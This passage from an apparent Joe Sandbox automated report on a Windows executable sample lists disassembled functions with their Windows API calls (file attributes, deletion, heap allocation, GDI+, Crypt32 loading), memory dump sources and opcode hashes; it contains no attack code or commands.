                  • Instruction ID: e6b64256a33b966354367ca6294801f6f2dc4b5d29fe1ced07d1ac7895a9373b
                  • Opcode Fuzzy Hash: 7eec58d0b5dc1b5fa002df7837e463c2301b80349040ef0daaf657403ef85ba5
                  • Instruction Fuzzy Hash: 8E012B3131435D9F8B08CF67AC888BEB3D9AFC4321B10952DF812A7292CB71DC059B24
                  Function 00EE9E40 Relevance: 3.1, APIs: 2, Instructions: 54COMMON
                  Download Yara Rule
                  APIs
                  • SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00EE9E76
                  • GetLastError.KERNEL32 ref: 00EE9E82
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ErrorFileLastPointer
                  • String ID:
                  • API String ID: 2976181284-0
                  • Opcode ID: 671170753a359700735ca267c0140e12f9a1fe696cc76770ca519970a1d67a5a
                  • Instruction ID: 2464b9a1d2964a895cc8b2f1bd11024c75a3e60cbb27e5d75e0a84b129b4ab71
                  • Opcode Fuzzy Hash: 671170753a359700735ca267c0140e12f9a1fe696cc76770ca519970a1d67a5a
                  • Instruction Fuzzy Hash: E001B5713043485BEB34DE2ADC4476BB7D99B88319F14493EB246D36A2DA71DC488610
                  Function 00F08606 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • _free.LIBCMT ref: 00F08627
                    • Part of subcall function 00F08518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00F0C13D,00000000,?,00F067E2,?,00000008,?,00F089AD,?,?,?), ref: 00F0854A
                  • HeapReAlloc.KERNEL32(00000000,?,?,?,?,00F20F50,00EECE57,?,?,?,?,?,?), ref: 00F08663
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Heap$AllocAllocate_free
                  • String ID:
                  • API String ID: 2447670028-0
                  • Opcode ID: 92c451214504f3eedd5dca0e42c2af29b44068c44fb56d1b5e803f5d479b5da3
                  • Instruction ID: 69d1f118917382e0bd65032b46e9d92c6a70ffd14ef4e108630c5d1863bd684b
                  • Opcode Fuzzy Hash: 92c451214504f3eedd5dca0e42c2af29b44068c44fb56d1b5e803f5d479b5da3
                  • Instruction Fuzzy Hash: 18F06232A01215A6DB212A25AC00B6B7B689FD2BF0F2A4115F8D4971D1DE36DC4375A5
                  Function 00F079B7 Relevance: 3.0, APIs: 2, Instructions: 33COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00F0B610: GetEnvironmentStringsW.KERNEL32 ref: 00F0B619
                    • Part of subcall function 00F0B610: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F0B63C
                    • Part of subcall function 00F0B610: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F0B662
                    • Part of subcall function 00F0B610: _free.LIBCMT ref: 00F0B675
                    • Part of subcall function 00F0B610: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F0B684
                  • _free.LIBCMT ref: 00F079FD
                  • _free.LIBCMT ref: 00F07A04
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
                  • String ID:
                  • API String ID: 400815659-0
                  • Opcode ID: 419f9c7c0ef0fd612dcb42d0fb43e184a978116ed2bf7c2f91fc2658b9aa1fad
                  • Instruction ID: 215e986b680ede51bd0ea215fc54e0921794fa9654f72a6ed93747b8bb36f4c3
                  • Opcode Fuzzy Hash: 419f9c7c0ef0fd612dcb42d0fb43e184a978116ed2bf7c2f91fc2658b9aa1fad
                  • Instruction Fuzzy Hash: 04E02B57E0D74702D772723A6C0265F26059F82330B100B96F810DB0C3CE5CA9833095
                  Function 00EF0908 Relevance: 3.0, APIs: 2, Instructions: 33COMMON
                  Download Yara Rule
                  APIs
                  • GetCurrentProcess.KERNEL32(?,?), ref: 00EF0915
                  • GetProcessAffinityMask.KERNEL32(00000000), ref: 00EF091C
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Process$AffinityCurrentMask
                  • String ID:
                  • API String ID: 1231390398-0
                  • Opcode ID: 877cbcc1e382c1b494a3c98a487b29e226da9829a391f9393535229147ffa58e
                  • Instruction ID: da52a426edb07a5d784dc6e5c896f9cea434bd7d9149391960dcf5d6facb18ce
                  • Opcode Fuzzy Hash: 877cbcc1e382c1b494a3c98a487b29e226da9829a391f9393535229147ffa58e
                  • Instruction Fuzzy Hash: CAE09B36B1010DAB6F05CAA49C044FB73DDDBC8318711D179EA07E3106F570DD018660
                  Function 00EEA444 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                  Download Yara Rule
                  APIs
                  • SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00EEA27A,?,?,?,00EEA113,?,00000001,00000000,?,?), ref: 00EEA458
                  • SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00EEA27A,?,?,?,00EEA113,?,00000001,00000000,?,?), ref: 00EEA489
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AttributesFile
                  • String ID:
                  • API String ID: 3188754299-0
                  • Opcode ID: 549b4b65e021eb97f48abfc10c89c890378d0f1750b718c1b8716d704eba6fe8
                  • Instruction ID: 30523458e1b178186cddb7d697b5018307ca039a86f623e938617aee387ae596
                  • Opcode Fuzzy Hash: 549b4b65e021eb97f48abfc10c89c890378d0f1750b718c1b8716d704eba6fe8
                  • Instruction Fuzzy Hash: 32F0A73124024D7BDF115F61DC05FD9379CBB04385F088065BC4896161DB719AA4AE50
                  Function 00EFD573 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ItemText_swprintf
                  • String ID:
                  • API String ID: 3011073432-0
                  • Opcode ID: ce76458630af2d8ced3980dc1ce90da150832e0f49debba53acc2ca68577a9dd
                  • Instruction ID: c1faf4f5e0e35ae5a80391d867f9d68140ed2853ce47ff59681ccdc633095ff1
                  • Opcode Fuzzy Hash: ce76458630af2d8ced3980dc1ce90da150832e0f49debba53acc2ca68577a9dd
                  • Instruction Fuzzy Hash: DFF05C7150438C7BDB11FB709C06FB93B9D9B04345F040651B700730F1DA316B615762
                  Function 00EEA12D Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON
                  Download Yara Rule
                  APIs
                  • DeleteFileW.KERNELBASE(?,?,?,00EE984C,?,?,00EE9688,?,?,?,?,00F11FA1,000000FF), ref: 00EEA13E
                  • DeleteFileW.KERNEL32(?,?,?,00000800,?,?,00EE984C,?,?,00EE9688,?,?,?,?,00F11FA1,000000FF), ref: 00EEA16C
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: DeleteFile
                  • String ID:
                  • API String ID: 4033686569-0
                  • Opcode ID: 45fd1b1e20c246870b40aef2b573921ee8b1741feb7aa5a42db649fba13fd097
                  • Instruction ID: 2b3a28b2aa9d8a4ca1fbbbe8ce3817c0139141caaaeaa59cd5454a7e485bc112
                  • Opcode Fuzzy Hash: 45fd1b1e20c246870b40aef2b573921ee8b1741feb7aa5a42db649fba13fd097
                  • Instruction Fuzzy Hash: FEE0227424120C6BDB009F21DC01FF93B9CAB08381F485079B888E3060DB21AE94AA90
                  Function 00EFA39D Relevance: 3.0, APIs: 2, Instructions: 27COMMON
                  Download Yara Rule
                  APIs
                  • GdiplusShutdown.GDIPLUS(?,?,?,?,00F11FA1,000000FF), ref: 00EFA3D1
                  • CoUninitialize.COMBASE(?,?,?,?,00F11FA1,000000FF), ref: 00EFA3D6
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: GdiplusShutdownUninitialize
                  • String ID:
                  • API String ID: 3856339756-0
                  • Opcode ID: 867e0d3d57df3f8c9db39fbf6748430b47bf48042b03b97dac05fd17f7607b84
                  • Instruction ID: 7f58fafad896c4e406892b40da7aceef44046bc726431dd401c05570a334efd8
                  • Opcode Fuzzy Hash: 867e0d3d57df3f8c9db39fbf6748430b47bf48042b03b97dac05fd17f7607b84
                  • Instruction Fuzzy Hash: 88F06572518658DFC710EB4CDC05B55FBACFB89B20F04436AF51993761CB787801DA91
                  Function 00EEA194 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                  Download Yara Rule
                  APIs
                  • GetFileAttributesW.KERNELBASE(?,?,?,00EEA189,?,00EE76B2,?,?,?,?), ref: 00EEA1A5
                  • GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00EEA189,?,00EE76B2,?,?,?,?), ref: 00EEA1D1
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AttributesFile
                  • String ID:
                  • API String ID: 3188754299-0
                  • Opcode ID: 965c638dac25a40e52920a227f49b4a10144383ce9f7ce356dc4f9ce4926ff48
                  • Instruction ID: 5b785b97cbcb35575f6d760b67e2aa9be2db6af81a0190c0402723f7ecab2eee
                  • Opcode Fuzzy Hash: 965c638dac25a40e52920a227f49b4a10144383ce9f7ce356dc4f9ce4926ff48
                  • Instruction Fuzzy Hash: 09E0927550116C5BCB20AB68DC05BE9B79CAB0C3E6F0442B1FD84F32A0D770AD449AE0
                  Function 00EF0085 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON
                  Download Yara Rule
                  APIs
                  • GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00EF00A0
                  • LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00EEEB86,Crypt32.dll,00000000,00EEEC0A,?,?,00EEEBEC,?,?,?), ref: 00EF00C2
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: DirectoryLibraryLoadSystem
                  • String ID:
                  • API String ID: 1175261203-0
                  • Opcode ID: c7417b0b9178b5ae0d0b671902fc6f7af5f2ae016df9ae1d91a49b23d47eafda
                  • Instruction ID: 1dac82daa8d4a6c58e1d6d19a46d2610b3f34732403026efff3d22d38fd79728
                  • Opcode Fuzzy Hash: c7417b0b9178b5ae0d0b671902fc6f7af5f2ae016df9ae1d91a49b23d47eafda
                  • Instruction Fuzzy Hash: AAE0127690115C6ADB219AA4AC09FE677ACEF0D382F0444A5BA48E3115DA749A448BA0
                  Function 00EF9B0F Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON
                  Download Yara Rule
                  APIs
                  • GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00EF9B30
                  • GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00EF9B37
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: BitmapCreateFromGdipStream
                  • String ID:
                  • API String ID: 1918208029-0
                  • Opcode ID: 37a726b3558b31c4e027dd08f2497acfa3f6b5f812f83d769470b6af9213e1d2
                  • Instruction ID: f52d0aa6199fc2ec0e9684c1d66596b4e0921a3d4169508f212e3b6dbbb4110c
                  • Opcode Fuzzy Hash: 37a726b3558b31c4e027dd08f2497acfa3f6b5f812f83d769470b6af9213e1d2
                  • Instruction Fuzzy Hash: 66E0ED7190121CEFDB10DF98E505BE9B7E8EB04321F10905BE995A3311E7716E449B95
                  Function 00F0215C Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00F0329A: try_get_function.LIBVCRUNTIME ref: 00F032AF
                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F0217A
                  • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00F02185
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                  • String ID:
                  • API String ID: 806969131-0
                  • Opcode ID: 930dd7b3d831162c67a41b6599f58950950285780a3186a4d79722eec3edd958
                  • Instruction ID: 371898b4df2af18c1b0941f91dd2607153b581ea49cb91a629e73cb8b3cce590
                  • Opcode Fuzzy Hash: 930dd7b3d831162c67a41b6599f58950950285780a3186a4d79722eec3edd958
                  • Instruction Fuzzy Hash: 66D01236A4430634FDE867B46C9E5E933586B52BB43F14B47FB20CA4D2EE19D1457132
                  Function 00EFDC67 Relevance: 3.0, APIs: 2, Instructions: 13COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • DloadLock.DELAYIMP ref: 00EFDC73
                  • DloadProtectSection.DELAYIMP ref: 00EFDC8F
                    • Part of subcall function 00EFDE67: DloadObtainSection.DELAYIMP ref: 00EFDE77
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Dload$Section$LockObtainProtect
                  • String ID:
                  • API String ID: 731663317-0
                  • Opcode ID: 9cd7e9cbac61552219bc74a487bb53cf64acc509352b6e535a7d511cf5f69350
                  • Instruction ID: ec9022679c783f07094ccb100c03ab8d82aab0970f4eb9f2e703e1446eb557f7
                  • Opcode Fuzzy Hash: 9cd7e9cbac61552219bc74a487bb53cf64acc509352b6e535a7d511cf5f69350
                  • Instruction Fuzzy Hash: 37D0C97450C20CCAD211AB149D8677C7EB2B755748F642601A705F64A0EFB54490E686
                  Function 00EE12E6 Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ItemShowWindow
                  • String ID:
                  • API String ID: 3351165006-0
                  • Opcode ID: 8d99debc355f6dc4b7975ce4fdb82e87ecb7b8bcb4b5f933d97275d3a9a4cdb4
                  • Instruction ID: d97b6db075ab00df7e8cb2b6913052cb0c02311ed4264a38a5741cc41fc77d26
                  • Opcode Fuzzy Hash: 8d99debc355f6dc4b7975ce4fdb82e87ecb7b8bcb4b5f933d97275d3a9a4cdb4
                  • Instruction Fuzzy Hash: A1C0123A058208BFCB410BB0DC09D2FBBA8BBE6212F05C928B6A5C0160C238C010EB11
                  Function 00EE19A6 Relevance: 1.8, APIs: 1, Instructions: 310COMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog
                  • String ID:
                  • API String ID: 3519838083-0
                  • Opcode ID: b4c07be1f6beceb9f621d8d77d481db7507cc31ccbf9de2cf81f8848e98f2ab9
                  • Instruction ID: aff182c06c2abbcd6b1d1e67bde32f253e651d73e5e3080f4f0485f27d43be85
                  • Opcode Fuzzy Hash: b4c07be1f6beceb9f621d8d77d481db7507cc31ccbf9de2cf81f8848e98f2ab9
                  • Instruction Fuzzy Hash: FAC1B270A042DC9FEF15DF69C884BA97BE5AF05304F1860F9DC46EB282CB359984CB61
                  Function 00EE3B3D Relevance: 1.7, APIs: 1, Instructions: 176COMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog
                  • String ID:
                  • API String ID: 3519838083-0
                  • Opcode ID: 4f605ca550c72ca272a05e629b9836cbaf1c4ade0a3eefafd706da73d038b609
                  • Instruction ID: 764e4c88d87d4369f9a033221078eebb48f9cf80b9aa58d1cb68615c7655a44a
                  • Opcode Fuzzy Hash: 4f605ca550c72ca272a05e629b9836cbaf1c4ade0a3eefafd706da73d038b609
                  • Instruction Fuzzy Hash: BC710471100F889EDB25DF31CC45AE7B7E8AF14301F44596EE2AB67242DB32AA48CF10
                  Function 00EE837F Relevance: 1.6, APIs: 1, Instructions: 110COMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EE8384
                    • Part of subcall function 00EE1380: __EH_prolog.LIBCMT ref: 00EE1385
                    • Part of subcall function 00EE1380: new.LIBCMT ref: 00EE13FE
                    • Part of subcall function 00EE19A6: __EH_prolog.LIBCMT ref: 00EE19AB
                  Memory Dump Source
